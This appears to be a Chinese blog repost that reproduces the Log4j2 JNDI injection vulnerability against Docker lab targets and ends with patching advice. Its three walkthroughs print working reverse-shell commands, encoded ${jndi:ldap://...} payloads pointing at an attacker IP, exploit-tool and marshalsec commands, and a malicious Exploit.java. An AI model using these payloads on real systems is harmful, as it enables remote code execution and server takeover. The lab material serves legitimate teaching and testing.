我是靠谱客的博主 饱满棒球,最近开发中收集的这篇文章主要介绍Apache Log4j2历史漏洞复现Apache Log4j2简介Apache Log4j2漏洞简介漏洞影响范围和版本漏洞复现一漏洞复现二漏洞复现三漏洞修补建议,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Apache Log4j2简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了
log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组
建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

Apache Log4j2漏洞简介

log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目
标服务器上执行任意代码。

漏洞影响范围和版本

范围:

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2

版本:
Apache Log4j 2.0 ~ 2.15.0-rc1

漏洞复现一

  1. docker搭建靶场环境
docker pull vulfocus/log4j2-rce-2021-12-09
docker run d-ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09

在这里插入图片描述

  1. 访问靶场环境。
    在这里插入图片描述

POC测试

  1. POC1测试:
    (1)去dnslog.cn生成一个临时域名。
    在这里插入图片描述

(2)对该域名进行URL编码。

http://171.16.1.106:8888/hello?payload=

在这里插入图片描述(3)点击Execution执行。

在这里插入图片描述
(4)返回dnslog.cn,查看结果
在这里插入图片描述

  1. POC2测试:

使用burpsuite中Decoder模块进行URL编码。
在这里插入图片描述
使用burpsuite抓包构造payload。
在这里插入图片描述

exp测试

  1. 下载JNDIExploit工具
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
  1. 使用JNDIExploit工具搭建恶意JNDI服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 171.16.1.105
在这里插入图片描述

  1. 启动监听端口接收shell
nc -lvvp 8888

在这里插入图片描述

  1. 构造EXP
bash -i >& /dev/tcp/1.15.132.67/8888 0>&1
base64编码 -> url编码
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvODg4OCAwPiYx

在这里插入图片描述在这里插入图片描述YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D

得到反弹shell的EXP:

${jndi:ldap://1.15.132.67:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%2BJjE%3D}

对EXP进行URL编码:

	%24%7Bjndi%3Aldap%3A%2F%2F1.15.132.67%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xLjE1LjEzMi42Ny84ODg4IDA%252BJjE%253D%7D

在这里插入图片描述

发送Payload请求:
在这里插入图片描述

LDAP服务器接收到请求,并传输Payload:
在这里插入图片描述

成功得到shell:
在这里插入图片描述

漏洞复现二

  1. vim docker-compose.yml把下边内容写进去。
version: '2'
services:
 solr:
   image: vulhub/solr:8.11.0
   ports:
   - "8983:8983"
docker-compose up -d

在这里插入图片描述

  1. 访问靶场地址。
    在这里插入图片描述

Poc测试

  1. 从dnslog.cn获得临时域名。
  2. 将域名带入POC进行测试。
http://171.16.1.106:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.v9jz7o.dnslog.cn}

在这里插入图片描述

  1. 执行成功,存在漏洞。
    在这里插入图片描述

Exp测试

  1. 下载 JNDI-Injection-Exploit 工具。
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
  1. 构造命令执行。
    监听端口。
    在这里插入图片描述

bash -i >& /dev/tcp/1.15.132.67/9999 0>&1
ava-runtime-exec转换:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx}|
{base64,-d}|{bash,-i}
在这里插入图片描述

  1. 工具使用
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “command” -A address
    在这里插入图片描述

  2. 得到反弹shell的EXP,返回浏览器发送!
    rmi://1.15.132.67:1099/n69nur

ldap://1.15.132.67:1389/n69nur

在这里插入图片描述

  1. 得到shell。
    在这里插入图片描述

漏洞复现三

  1. 编写恶意代码。
    Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvOTA5MCAwPiYx} | {base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

在这里插入图片描述

  1. 编译恶意代码文件。
    在这里插入图片描述

  2. 开启http服务。
    在这里插入图片描述

  3. 启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://1.15.132.67:8000/#Exploit" 9999

在这里插入图片描述

  1. 监听端口
nc -lnvp 6666

在这里插入图片描述

  1. url编码转换
    在这里插入图片描述
    在这里插入图片描述
  2. 返回监听窗口getshell。

漏洞修补建议

通用修补建议

升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

临时修补建议

  1. 设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。
  2. 尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版
    本也不能完全保证安全,依然存在本地绕过的情况。
  3. 限制不必要的业务访问外网。
  4. 采用 rasp 对 lookup 的调用进行阻断。

最后

以上就是饱满棒球为你收集整理的Apache Log4j2历史漏洞复现Apache Log4j2简介Apache Log4j2漏洞简介漏洞影响范围和版本漏洞复现一漏洞复现二漏洞复现三漏洞修补建议的全部内容,希望文章能够帮你解决Apache Log4j2历史漏洞复现Apache Log4j2简介Apache Log4j2漏洞简介漏洞影响范围和版本漏洞复现一漏洞复现二漏洞复现三漏洞修补建议所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(41)

评论列表共有 0 条评论

立即
投稿
返回
顶部